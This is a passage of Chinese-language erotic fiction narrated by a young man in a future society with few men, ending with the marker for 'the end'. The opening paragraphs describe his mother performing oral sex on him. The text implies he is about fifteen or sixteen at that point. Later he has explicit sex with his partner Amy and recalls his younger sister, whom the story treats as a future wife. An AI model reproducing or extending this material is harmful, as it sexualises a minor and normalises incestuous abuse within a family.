「好了好了,听妈妈的,放松,慢慢放松」,她的声音越发的柔和,一支手附在我的后背上,从上到下轻轻的划着,嘴里不停的嘘嘘着,说也怪了,老妈拂了几下,又嘘了几声,我忽然就放松了下来,慢慢的我的水闸打了开来,真是一泡好尿,我感觉放了好久,老妈的嘘嘘一直没停,手也一直在我的后背滑着,直到最后一滴老尿被我放光,身上顿感轻松。
老妈见我放完了水,突然蹲下身去,一口含住了我那已经缩小的棒棒,轻轻的吸了几口,棒棒顿感温暖,我用两手轻拂着老妈的脸和耳垂,下意识的以她的小嘴做着抽插动作。老妈在我的屁股上打了一巴掌,然后吐出了我的老二,抬起头,嘴上挂着笑,「你小时侯,你小姨就说你的包皮过长,还真有点长,早知道那时候就给你割了。但是我又怕你疼,就没舍得让她们割,要是割坏了咋办?」说完她无比爱怜的把我的鸡鸡放在嘴边儿轻吻着,又用她的脸颊磨擦着,又用鼻子闻了几下。
接着又听到她说:「还不如当初割了呢,去了包皮儿,小家伙可能更精神了,说不定还能比现在更大些。」「老爸的大吗?“ 我不无好奇的问道。」「哎,大不大也都指望不上了。」听了老妈黯然的回答忽然觉得老妈有些可怜,自我八岁后,她就没再见过老爸,算算也有七八年了。
老妈活在这样一个女人的世界里,其它的男人都被各自的女人看的死死的,老妈是没什么机会的,就是社会部的第七项福利也是要排队啊,就是排上了也轮不到几次,平常的日子里能用的只有那些硅胶的电动玩具,可那些东西都是没情感的死物,是不能在心灵上给她以安慰的。
她所有的希望就是守着这唯一的儿子,等他长大,等他强壮,等着他可以娶自己作妻子,等着他从新把自己再变成一个幸福的女人……如果没有我,她这一生还指望什么呢?她所守护的不只是一个儿子,还有她的爱,她的倚靠,和她未来所有的希望……我把老妈搂进怀里,紧紧的,感受着她冰冷的肌肤,感受着她呼在耳边的热气,手臂环着她的身子,力道越来越大,恨不得就这样长在一起,连在一起,永远都不分开。
第五章
艾米生下妞妞后,我所有的女人就都没了动静,这让我沮丧不已。所以这些年只要一有机会我就会奋力播种,虽然是把半开的锁,但在这些我熟悉的女人身上,我总是能游刃有余。
我差不多隔两三天就会去看艾米和妞妞,艾米的工作越来越忙,从今年开始又要带研究生了,妞妞大多时间都交给保母带,有时紫玉得空也会尽量过来。
每次我打开院子的小栅栏门都会碰响一串风铃,如果那时妞妞在一楼,就会打开门向我一路跑来,嘴里爸爸,爸爸,不停的叫着。总是担心她跑快了会摔倒,所以我都是紧走几步赶快把她抱在怀里。
妞妞四岁了,长的越来越像她妈妈,尤其是那两支眼睛跟她妈妈一样都是蓝色的。我喜欢与艾米对视,从那双湛蓝的眼睛里我几乎可以看见大海和蓝天,而今小不点的眼睛里也有了海的雾气,这真是让我赞叹造物主在生物遗传上的精妙设计,艾米大着肚子的时候,我经常跟她研究将要出生的女儿,可是再有理智和智慧的女人,对女儿形象的描述都是羞于入耳的,不是太差了就是太好了。
艾米没有想到妞妞的眼睛跟她会是同一个颜色,皮肤却随了我的古中国基因是黄色的。七个月时就能说话了,这让艾米惊讶不已,与她早先的推断真是相差十万八千里。
不过我跟艾米说咱妞妞刚刚好,前朝有俗话说老婆别人的好,儿女自己的好,妞妞在我的眼里就是世界的巅峰,单纯而快乐的天堂。
我可以跟她一整天一整天的玩,从她的各式玩具到院子里草坪上的蚂蚁没有我俩不感兴趣的,有时玩疯了,天都黑了还要艾米打着电筒照着,好让我们给蚂蚁家运粮食。
艾米有时就埋怨我,说我陪着女儿的时间远多过陪她。
我说:” 不是我不陪你,白天我都见不到你的面,我上那儿陪你去,要不我再考你的研究生?“「无赖……」通常在这之后,我都会撕下我伪善的面具,张牙舞爪的在她身上显示一下我无赖的本性。
艾米在我的这些女人中,性慾是比较强的,这也是我需要经常过来的另一个原因,有一次时间太紧我十几天没过去,艾米却已等不及了,杀上门来了。
还好那天家里没人。听到门铃我刚打开门,艾米就扑到怀里紧紧搂住了我,没有多余的废话,两人从门口一路吻到楼上,等我把她按在床上时,她的衣服已经散落在这一路之上了,我插进去时,她快乐的尖叫着,两条大腿一下就盘在了我的腰上,使劲的收紧,好使我的阴茎更深入她的体内,这让我在接下来的抽动中费了不少劲,她那两条腿把我紧紧的固定住了,我想把阴茎稍稍抽出来一些都不可能,她太有劲儿了。
当她满足的瘫在床上喘气时,我才发现这是老妈的床,我在老妈的床上和别的女人办事儿,要是老妈知道了,她会不会要我的命呢?
百合怀孕对我来说只有惊喜。我也想过百合怀孕的事儿是她骗我的,她做的出来,她也知道我拿她没办法,她更知道其实我很爱她。我对百合刚开始是没有太多感觉的,只是知道她将来会是我的妻子之一。如果在我结婚之前,她跟了别的男人,我甚至都不会觉得惋惜。
从上学的时候起她就常年在外,她回家的时候,我们也打打闹闹,记得我们都在中学时,要是有谁说她是我老婆,她还会跟人家吵架。
不过有一年夏天的军训她去了我没去成,她知道我一定很难过,回来的那天晚上,她悄悄进了我的房间,神秘兮兮的告诉我,有礼物要送给我,笑眯眯的从身后拎出一个黑布袋子,说抓了很多莹火虫装在玻璃罐里,拿掉袋子就可以看到那飞舞的莹光了。
于是我俩很兴奋的把灯关掉,坐在地板上小心的打开了黑布袋,可是没有莹光出现,发光的莹火虫因为时间太久都死掉了,她捧着玻璃罐哭的说不出话来,于是我只好安慰她,没事的,有时间再去抓,抓来再一起看,第二天我看见她在后院挖坑埋那些莹火虫,真的好多,也不知道她抓了多久。
我有时候会故意捉弄她,气她,小时候她还会哭着去老妈和小姨那儿告状,自从她上了大学,我再气她,她就不再告状了。只是有时候听她悠悠的说,” 哥,不许你再气我了“。
那时候她跳级读大学,我还在中学瞎混呢?面对这样一个妹妹,我多少有些自卑,所以渐渐的就不再去找她的茬了,可是也渐渐生份了。
进了军队以后,她更是变了,越来越沉静,眼神越来越让我琢磨不透。
记得有一天,她从东海基地回来,买了好多菜和水果,一个人在厨房里舞刀弄铲的忙活开了,大姐二姐说要帮她,都被她推了出来,等到老妈和紫玉下了班,她已经捣故出一大桌子菜了,累的小脸通红满头是汗,接下来在饭桌上还煞有介事的举杯祝福老妈和紫玉永远年青,还笑话我这么多年了,也没让大伙得个龙胎凤种什么的,丢脸丢到潇渊海去了。
那时我对她的取笑报以轻蔑,十八 岁的我根本就不把生儿育女的事往心里放,就是家里的其他女人也都觉得这种事来日方长。
后来她又说了一长串儿的祝酒词,大家都说饿的不行了,不想再听她罗索,赶快抓紧时间开动吧,于是还没等她坐下呢,我们已经纷纷出筷了。
可是第一口佳肴放进嘴里后,所有人都捂着嘴不说话了,她还傻傻的问,大伙怎么都停了,不吃了呢,我把含在嘴里的一口菜吐到碗里,说:「小妹,你会做饭吗?这菜是给正常人吃的吗?」她一下子小脸煞白,急忙抓起双筷子夹口菜放在嘴里,没几秒种也吐了出来,对不起,对不起,太咸了,太咸了……在我的嘲笑声中,她满脸羞愧的打电话叫外卖去了,那天的晚餐是在两大盒披撒饼中结束的。
第二天早起,我的床头放着一双毛线织的袜子和一本诗集,出去一问老妈,小妹早就回了基地,临走怕吵醒我,所以悄悄的放下东西就走了,这丫头还会织毛线活了?嘿嘿,太阳打西边出来了……毛线袜子被我收进了抽屉,诗集我连看都没看,就撇到了书架上,连正经书我都懒得看,那儿有时间念这些酸酸小调。一概无视……几天后传来消息,说海军和印加的西征舰队顶上了,开战怕是就在这几天了,二姐急忙打电话去东海基地,那边回说,百合已经随舰出海了,去向是军事秘密不便透露,二姐撂下电话坐在地上就开始哭,等我明白过来是怎么回事儿时,家里的几个女人已经哭的上气不接下气了。我从沙发上站起来,走回自己的房间,关上房门后就觉得两腿发软。
「妹妹,你还能回来吗?哥不再气你了……哥想跟你一起看莹火虫……哥想吃你做的菜……」泪水不知不觉间打湿了我的世界……挽着你的手,不曾停留。只想一直走。
缠绕的连理,依恋天地,灿烂在风里
随你的梦想,一路奔来,何处能归宿
停下的瞬间,霍然抬头,原来是这里
(哥,等我回来……)
从那天起,这本诗集就一直摆在我的床头……
【完】